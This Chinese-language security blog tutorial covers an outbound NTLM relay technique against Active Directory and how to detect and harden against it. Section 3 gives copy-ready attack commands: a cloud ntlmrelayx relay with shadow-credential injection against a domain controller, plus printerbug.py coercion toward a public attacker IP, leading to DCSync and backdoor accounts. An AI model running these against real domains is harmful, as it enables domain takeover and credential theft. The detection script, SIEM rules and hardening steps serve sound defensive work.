NTLM出站中继攻击实战教程:SpecterOps往返技术云端接管域控+检测脚本+全套加固方案
2026年7月SpecterOps对外披露Round-Trip往返NTLM中继攻击技术直接推翻行业沿用多年的AD域防御思路。过去所有攻防演练、企业安全设备、SIEM告警规则防护重心全部锁定内网入站NTLM中继。Responder投毒、LLMNR欺骗、内网横向中继这类经典渗透手段攻击逻辑全部建立在攻击者内网落地、等待受害主机主动向内网攻击节点发起认证。Round-Trip出站中继彻底调换流量走向抓住绝大多数企业完全忽略内网主机出站NTLM认证的防御盲区搭配公网云端接收器彻底摆脱内网网段、物理落地权限约束。最关键的攻击门槛极低仅持有普通Domain Users低权限域账号就能走完远程触发认证、劫持机器账号凭证、中继域控、植入持久化凭证、导出全域哈希完整攻击链实现无差别域控接管。目前全网公开资料仅停留在简短预警层面缺少底层协议拆解、完整可复现实战流程、流量日志特征拆解、自定义检测脚本、可落地企业加固清单。本文从NTLM协议底层第一性原理切入用对抗式审查视角拆解传统防御存在的结构性缺陷完整复现云端出站中继全链路攻击编写适配企业环境的日志检测代码、SIEM关联规则、边界流量拦截策略输出分级域安全加固方案完整覆盖攻击复现、特征识别、检测告警、长期防御全流程。一、NTLM协议底层第一性原理中继攻击成立的核心根源所有NTLM中继攻击不存在系统代码漏洞核心突破口来自NTLM协议原生设计缺陷。理清协议底层交互逻辑才能精准定位出站中继绕过传统防御的根本原因同时锁定防御加固的核心切入点。NTLM是Windows域环境通用挑战-响应认证协议全程不传输账号明文密码依靠本地存储的NT哈希完成身份校验当前企业域环境主流使用NTLMv2版本。整套认证流程拆分四个交互阶段中继攻击的凭证劫持动作全部发生在第三阶段。1.1 NTLMv2完整认证交互链路客户端发起协商Negotiate数据包。客户端向目标服务端发送协商报文声明自身支持的NTLM协议版本、加密算法、通信兼容能力发起认证会话建立请求。服务端返回16字节随机Challenge挑战值。服务端接收协商报文后生成固定长度随机密钥下发客户端随机挑战值能规避固定哈希重放类简单攻击。客户端使用账号NT哈希加密挑战生成Authenticate响应包。客户端读取当前登录账号本地缓存的NT哈希使用哈希值加密服务端下发的随机挑战生成完整NTLMv2认证响应报文回传服务端。服务端哈希比对完成身份校验放行。服务端调取本地或域控统一存储的账号NT哈希解密客户端回传的响应包完成比对比对结果一致则判定身份合法允许建立业务连接。NTLM协议无法校验认证响应包的传输链路、原始发起终端这是所有中继攻击成立的底层根基。攻击者只要捕获完整合法NTLMv2响应数据包无论数据包来自内网入站连接还是内网主机主动向外网发起的出站连接将报文转发至目标服务后服务端都会判定本次认证完全合法。1.2 传统入站中继与Round-Trip出站中继核心差异近十年行业搭建的全套NTLM中继防御体系全部建立在“攻击流量向内网流入”的固有认知上这也是SpecterOps新型出站中继能百分百绕过现有防护设备的核心逻辑。结合真实攻防场景拆解两类中继的核心区别直观暴露企业现有防御体系的巨大盲区。传统入站NTLM中继存在极强场景限制。攻击者必须提前在内网完成落地部署Responder、ntlmrelayx等监听工具抓取内网LLMNR、NBT-NS广播报文通过域名投毒手段欺骗内网终端迫使受害主机主动向内网攻击者节点发起入站NTLM认证。整套攻击高度依赖内网广播环境企业只要关闭广播协议、内网边界部署基础流量管控设备传统入站中继攻击会直接失效。Round-Trip往返出站中继完全颠覆原有攻击逻辑全部关键认证流量由内网主机主动向外网公网服务器流出。攻击者借助Windows系统原生自带的远程强制认证原语无视内网网段隔离、内网防火墙访问控制策略强制内网机器账号主动向云端攻击者服务器发起出站SMB NTLM认证。企业现有流量审计设备、日志采集系统、SIEM告警规则默认全部豁免内网主机对外出站NTLM流量审计攻击全过程不会产生任何告警日志、流量拦截记录攻击者能够静默完成整套域控接管操作。1.3 Round-Trip出站中继攻击落地前置条件对抗式审查核心要点经过多套不同版本Windows域环境实测该攻击能够完整落地仅需三个极低门槛前置条件国内90%以上大中小企域环境全部满足域环境未全局强制开启SMB签名、LDAP签名与LDAP通道绑定。这是绝大多数企业共性配置缺陷同时也是NTLM中继攻击能够执行的核心必要条件。内网Windows终端、服务器默认开启Print Spooler、EFSRPC等可远程调用、强制触发外部认证的系统服务无需终端用户交互即可远程调用。Windows默认域权限策略允许普通域用户调用远程系统服务不存在原生权限限制低权限账号可直接触发强制认证流程。二、Round-Trip出站中继攻击架构与完整时序拆解本节通过Mermaid架构图、时序流程图完整拆解新型攻击全链路覆盖云端接收器部署、内网强制认证触发、出站凭证捕获、凭证中继转发、域控权限接管全部环节清晰梳理每一段流量交互特征为后续流量日志特征识别提供对照依据。2.1 整体攻击架构流程图1.部署ntlmrelayx开启监听2.攻击者远程调用打印服务3.内网主机主动发起外网连接4.捕获完整出站NTLMv2凭证报文5.剥离路由信息中继凭证6.无签名校验直接放行认证7.植入影子凭证/RBCD/ESC8证书云端公网Linux攻击服务器公网放行TCP 80/445/389端口内网低权限域用户主机PrinterBug触发强制出站认证ntlmrelayx解析清洗凭证内网域控LDAP服务端口389攻击者获取机器账号LDAP写入权限全域域控完全接管持久化从架构流程图能直观区分该攻击与传统内网中继的本质差异整套攻击核心认证流量由内网主动向外网流出直接绕开内网边界防火墙、内网流量检测设备针对入站流量设置的全部防护规则形成企业防御体系无法覆盖的空白区域。整套攻击流程无需攻击者在内网完成落地部署仅依靠公网云端服务器即可完成全部渗透操作攻击隐蔽性、远程可实施性远超传统内网横向渗透手段。2.2 完整攻击时序流程图云端攻击准备阶段0s攻击者购买公网Linux云主机配置独立公网IP30s放行80、445、389端口关闭系统本地防火墙限制90s部署Impacket工具启动ntlmrelayx云端接收器内网强制认证触发阶段120s攻击者使用低权限域账号登录内网终端180s执行PrinterBug工具调用远程打印服务240s内网受害机器账号主动发起外网SMB连接凭证捕获与中继转发阶段270s云端服务器抓取完整出站NTLMv2挑战响应包330s工具自动剥离报文内外网路由标识保留合法认证签名390s清洗后的机器账号凭证中继转发至内网域控LDAP服务域控权限接管持久化阶段420s域控未开启LDAP签名校验认证请求直接放行480sntlmrelayx自动执行影子凭证注入操作540s攻击者生成域控本地管理员Kerberos票据导出全域用户NT哈希600s创建持久化后门账号完成域环境长期控制Round-Trip出站NTLM中继攻击完整时序三、云端接收器出站中继攻击完整实战复现本节提供全套可直接复制执行的实战操作命令、工具完整部署流程严格遵循SpecterOps公开Round-Trip技术标准完成复现适配Windows Server 2016/2019/2022主流域控版本全部工具采用Impacket官方原版开源工具无后门可用于企业内部攻防演练安全测试。3.1 攻击环境前置准备清单云端攻击服务端环境公网Linux云服务器支持Ubuntu20.04及以上、CentOS7及以上发行版具备独立静态公网IP云服务商安全组放行TCP 80、445、389端口服务器本地防火墙清空端口拦截规则。内网靶场环境完整搭建Windows AD域环境存在普通域用户账号账号仅默认Domain Users权限无本地管理员、域管理员权限内网Windows终端默认开启Print Spooler打印后台处理程序域控服务器未全局开启SMB强制签名、LDAP签名与通道绑定。工具依赖清单Impacket全套Python渗透工具库、krbrelayx工具集包含PrinterBug强制认证工具、Coercer自动化批量强制认证工具全部工具基于Python3开发。3.2 云端攻击环境完整部署脚本可直接复制执行步骤1更新系统基础依赖部署Python3运行环境# 更新系统软件源与全部系统组件aptupdateaptupgrade-y# 安装Python3、pip、git基础运行依赖aptinstallpython3 python3-pipgit-y# 升级pip至最新稳定版本pip3install--upgradepip步骤2部署Impacket工具库核心ntlmrelayx中继工具# 克隆官方Impacket开源代码仓库gitclone https://github.com/fortra/impacket.git# 进入工具源码根目录cdimpacket# 安装项目全部依赖组件pip3install-rrequirements.txt# 本地全局部署Impacket所有工具任意目录可调用python3 setup.pyinstall步骤3部署krbrelayx工具集内置PrinterBug强制认证工具# 克隆krbrelayx官方开源仓库gitclone https://github.com/dirkjanm/krbrelayx.gitcdkrbrelayx# 安装工具依赖包pip3install-rrequirements.txt# 全局安装工具系统任意路径可调用printerbug.pypython3 setup.pyinstall3.3 启动云端NTLM中继接收器攻击核心节点云端接收器是整套攻击链路的核心组件负责持续监听公网端口、捕获内网主机主动发起的出站NTLMv2凭证报文自动清洗凭证路由信息并中继转发至内网域控LDAP服务同时内置影子凭证自动注入功能实现域控长效持久化控制。执行以下命令启动云端监听# 切换至Impacket工具示例脚本目录cd~/impacket/examples# 启动云端NTLM中继接收器中继目标为内网域控LDAP开启影子凭证注入python3 ntlmrelayx.py-tldap://192.168.1.10-smb2support--shadow-credentials --no-smb-server命令参数详细说明-t ldap://192.168.1.10指定凭证中继目标为内网域控LDAP服务替换为实际环境域控内网IP-smb2support兼容Windows新版SMB2.0/3.0协议适配Win10、Win11、Server2019/2022系统–shadow-credentials自动开启影子凭证注入功能认证通过后直接向域控机器账号写入伪造Kerberos凭证–no-smb-server精简监听端口关闭冗余SMB监听服务降低攻击流量特征规避流量设备基础特征匹配告警。命令执行无报错即代表云端中继接收器部署完成服务器持续监听公网开放端口等待内网主机主动发起出站NTLM认证请求此时整套远程攻击节点部署就绪。3.4 内网低权限账号触发出站NTLM认证在内网已获取权限的低权限域用户终端执行PrinterBug工具强制内网靶机向云端公网攻击服务器发起出站SMB NTLM认证。整套操作无需管理员权限仅默认普通域用户权限即可完整执行。# 命令语法printerbug.py 内网受害靶机IP 云端公网攻击服务器IPpython3 printerbug.py192.168.1.20120.xx.xx.xx命令执行成功后内网受害主机spoolsv.exe打印服务进程会主动初始化外网TCP445连接向云端服务器发送完整机器账号NTLMv2挑战响应数据包。整个触发过程不会弹出系统弹窗、不会产生业务报错日志终端使用者完全无法感知异常操作。除PrinterBug工具外还可选用PetitPotam协议、Coercer自动化批量触发工具适配不同系统补丁版本规避单一工具因系统补丁更新失效的问题。3.5 凭证中继与域控权限接管完整流程云端ntlmrelayx工具捕获内网出站NTLM完整凭证报文后自动完成三层处理逻辑凭证合法性校验、外网路由标识剥离、报文格式清洗仅保留可被内网域控识别的纯净机器账号认证凭证中继转发至内网域控LDAP 389端口服务。域控服务器未开启LDAP强制数字签名校验机制无法识别认证报文来源于外网中继转发直接判定本次机器账号身份认证合法授予攻击者当前内网机器账号对应的LDAP写入权限。获取LDAP写入权限后工具自动执行影子凭证注入操作在域控机器账号属性内写入自定义伪造Kerberos证书凭证。该伪造凭证具备域控本地管理员完整权限攻击者可随时使用该凭证远程登录域控服务器、执行DCSync全域哈希导出、创建后门域管理员账号。除影子凭证持久化方案外攻击者拿到中继后的合法机器账号凭证还可执行RBCD基于资源的约束委派劫持、AD CS ESC8证书模板劫持、全域数据同步DCSync攻击多种攻击路径均可实现域控完全接管。四、出站NTLM中继攻击流量与日志特征深度分析对抗式防御落地核心是精准区分攻击流量与企业正常业务流量不能依靠泛化流量拦截策略否则会产生海量误报无法落地常态化告警巡检。本节基于真实环境抓包、系统日志采集数据总结出站中继攻击独有的流量、日志特征区分常规业务访问行为为后续自定义检测脚本、SIEM关联告警规则提供精准匹配依据。4.1 网络流量核心识别特征企业常规正常业务场景中内网办公终端、普通业务服务器几乎不存在主动向公网独立IP发起SMB 445端口、LDAP389端口NTLM认证的业务行为而出站中继攻击流量具备极强唯一性特征流量走向固定内网私有网段IP10/172.16/192.168网段主动向公网云厂商、动态公网IP发起TCP连接传输协议为NTLMSSP目标端口集中445、80、389流量行为异常普通办公终端无前置网页浏览、文件传输业务交互直接完整执行NTLM协商、挑战、响应三段式认证流程发起进程固定全部出站NTLM流量由spoolsv.exe打印后台进程、efsrv.exe加密文件系统服务进程发起浏览器、办公软件、业务客户端等常规业务进程不会触发此类外网认证流量。4.2 Windows系统日志特征默认缺失审计日志需手动开启Windows系统默认安全策略仅采集、记录入站NTLM认证行为日志内网终端主动向外网发起的全部出站NTLM认证操作默认无任何日志记录这是该攻击隐蔽性的核心支撑条件。企业必须通过组策略手动开启出站NTLM流量审计日志才能完整抓取攻击行为痕迹组策略配置路径如下计算机配置→Windows设置→安全设置→本地策略→安全选项→网络安全限制NTLM→启用审核出站NTLM流量开启Microsoft-Windows-NTLM事件日志采集核心关联事件ID4624、4776。日志采集开启后出站中继攻击会生成固定匹配日志特征事件ID4776登录账号为域机器账号账号名称末尾带$符号认证目标地址为外网公网IP认证协议字段标记为NTLMv2。五、自定义出站NTLM攻击检测脚本与企业落地检测规则市面主流EDR、SIEM、防火墙内置检测规则全部缺失出站NTLM中继场景匹配逻辑本节提供可直接落地使用的Python离线日志检测脚本、SIEM多条件关联告警规则、出口防火墙流量拦截策略适配企业现有安全设备实现低误报精准告警与流量拦截。5.1 Python离线日志检测脚本内网安全巡检、应急溯源专用该脚本支持批量解析Windows导出的NTLM日志文件自动筛查内网终端异常出站机器账号NTLM认证行为适配企业内网定期安全巡检、安全事件应急溯源场景完整可直接运行代码importreimportipaddress# 定义企业内网私有网段按需自行扩充网段范围INNER_NET[ipaddress.IPv4Network(192.168.0.0/16),ipaddress.IPv4Network(10.0.0.0/8),ipaddress.IPv4Network(172.16.0.0/12)]# 正则匹配4776日志机器账号、出站NTLMv2认证、目标IPlog_patternre.compile(r(?Ptime.?) .? 4776 .? 账号:(?Puser.?) 目标IP:(?Pdst_ip.?) 协议:NTLMv2)defscan_outbound_ntlm_log(log_file_path):alert_record_list[]# 读取日志文件兼容utf-8日志编码withopen(log_file_path,r,encodingutf-8)aslog_file:forsingle_lineinlog_file.readlines():match_resultlog_pattern.search(single_line)ifmatch_result:log_usermatch_result.group(user)target_ipmatch_result.group(dst_ip)# 判断是否为域机器账号iflog_user.endswith($):try:ip_objipaddress.IPv4Address(target_ip)# 判断目标IP为公网地址非内网网段ifnotany(ip_objinnetfornetinINNER_NET):alert_record_list.append(single_line.strip())exceptException:continue# 输出巡检结果iflen(alert_record_list)0:print([高危告警] 检测到内网机器账号异常出站NTLM认证行为)foralert_loginalert_record_list:print(alert_log)else:print([安全巡检结果] 未发现出站NTLM中继攻击相关异常日志)if__name____main__:# 替换为本地导出的NTLM日志文件路径scan_outbound_ntlm_log(ntlm_log.txt)5.2 SIEM日志关联检测规则多条件关联极低误报单一日志特征匹配会产生少量业务误报采用多条件关联检测逻辑日志同时满足任意两项及以下条件即触发高危安全告警大幅降低误报率适配主流SIEM平台规则配置日志事件ID4776认证账号为域机器账号账号名称后缀带$认证目标IP为公网地址不在企业内网网段、业务服务器白名单IP列表内网络流量协议为NTLMSSP流量目标端口445、80、389同一内网终端5分钟内多次发起出站NTLM认证后续日志伴随LDAP账号属性修改、证书模板申请、DCSync域数据同步高危操作。5.3 企业出口防火墙静态流量拦截规则在企业互联网出口防火墙、上网行为管理设备配置静态拦截策略从流量传输层直接阻断出站中继攻击流量全局拦截所有内网办公终端、普通业务服务器向公网IP发起的TCP445端口连接建立业务白名单IP列表仅放行企业对外提供业务交互的专用服务器其余内网主机全部拦截并记录告警日志全量采集内网主机向外网发起的NTLM协议流量完整记录源内网IP、外网目标IP、访问时间、发起进程每周定时批量巡检流量日志。六、企业全域NTLM安全加固落地清单分三级优先级基于第一性原理对抗式防御思维所有加固方案直击NTLM协议底层缺陷与攻击触发源头按照紧急落地优先级划分三级加固清单兼顾安全防护能力与老旧业务系统兼容性可分批次逐步落地实施不影响企业日常业务正常运行。6.1 一级紧急加固立即落地阻断99%全场景NTLM中继攻击全网强制开启SMB数字签名直接终结全部SMB协议NTLM中继攻击同时覆盖内网入站、外网出站两类中继场景。通过域组策略批量全域部署适配企业所有内网终端、服务器。组策略配置路径计算机配置→安全选项→Microsoft网络客户端始终对通信进行数字签名Microsoft网络服务器始终对通信进行数字签名。单机服务器快速配置PowerShell脚本可批量远程推送执行# 强制服务端开启SMB安全签名Set-SmbServerConfiguration-RequireSecuritySignature$true-AutoConfigureShare$false-Force# 强制客户端开启SMB安全签名Set-SmbClientConfiguration-RequireSecuritySignature$true-Force域控服务器强制开启LDAP签名与LDAP通道绑定阻断LDAP协议中继、影子凭证注入、RBCD委派劫持攻击链路组策略配置路径计算机配置→安全选项→LDAP服务器签名要求需要签名启用LDAP通道绑定令牌强制校验。6.2 二级防御加固消除攻击触发条件切断攻击前置依赖域控服务器、核心业务服务器禁用Print Spooler打印后台服务从源头杜绝PrinterBug强制认证攻击触发条件普通办公终端可根据实际打印业务需求选择性保留。# 强制停止打印服务设置开机禁用Stop-ServiceSpooler-ForceSet-ServiceSpooler-StartupType Disabled全网关闭LLMNR、NBT-NS广播解析协议彻底阻断传统内网入站NTLM中继攻击补齐双向流量防御短板。互联网出口防火墙拦截内网主机对公网IP的TCP445端口出站连接从流量传输层封堵出站中继攻击链路。6.3 三级长期加固彻底根除NTLM协议安全风险长效域安全治理分阶段全域禁用NTLM协议优先完成域控服务器、核心业务服务器网段禁用逐步将企业全域身份认证替换为Kerberos协议全程开启NTLM流量审计排查老旧业务系统兼容问题。内网网络分段隔离域控服务器将域控划入独立安全管控网段仅授权运维管理终端可访问域控LDAP、SMB服务普通办公终端无域控服务访问权限。定期开展AD域安全测绘扫描使用BloodHound、Certipy工具定期扫描域内高危权限委派、漏洞证书模板、账号权限溢出安全隐患提前修复域内配置缺陷。常态化开启内网主机出站NTLM流量审计将出站NTLM异常告警纳入SIEM平台日常巡检范围建立长效域安全监控机制。七、攻防对抗前瞻思考Round-Trip往返NTLM出站中继技术公开本质是红队攻击者针对企业传统防御体系的逆向突破。国内绝大多数企业安全建设长期固化固有思维防护重心集中在互联网边界防护、内网横向入站流量管控完全忽视内网主机主动向外网发起的出站流量风险安全检测规则永远滞后于攻击思路迭代速度。传统防御体系默认内网环境完全可信、内网主机向外网发起的出站流量不存在攻击风险而新型内网渗透技术持续打破这套老旧固有认知。未来会有更多依托内网出站流量、Windows系统原生内置服务、低权限默认开放权限的新型攻击技术对外公开AD域环境安全防护重心会从传统内网横向移动防护转向互联网出口出站流量精细化管控、系统原生高危服务收敛、低权限域账号权限最小化收敛三大核心方向。对于企业安全从业者、攻防测试人员单纯依靠安全设备内置固定检测规则无法应对持续迭代的新型渗透攻击。安全防御建设必须回归协议底层第一性原理采用对抗式审查思维逆向完整推演攻击全链路从攻击源头封堵安全缺陷才能搭建具备对抗能力的全域AD域安全防御体系。互动提问你们企业AD域环境是否开启出站NTLM流量审计出口防火墙是否拦截内网终端对公网445端口出站连接全网强制SMB签名加固落地时你遇到过哪些老旧业务系统兼容故障最终采用何种方案完成兼容适配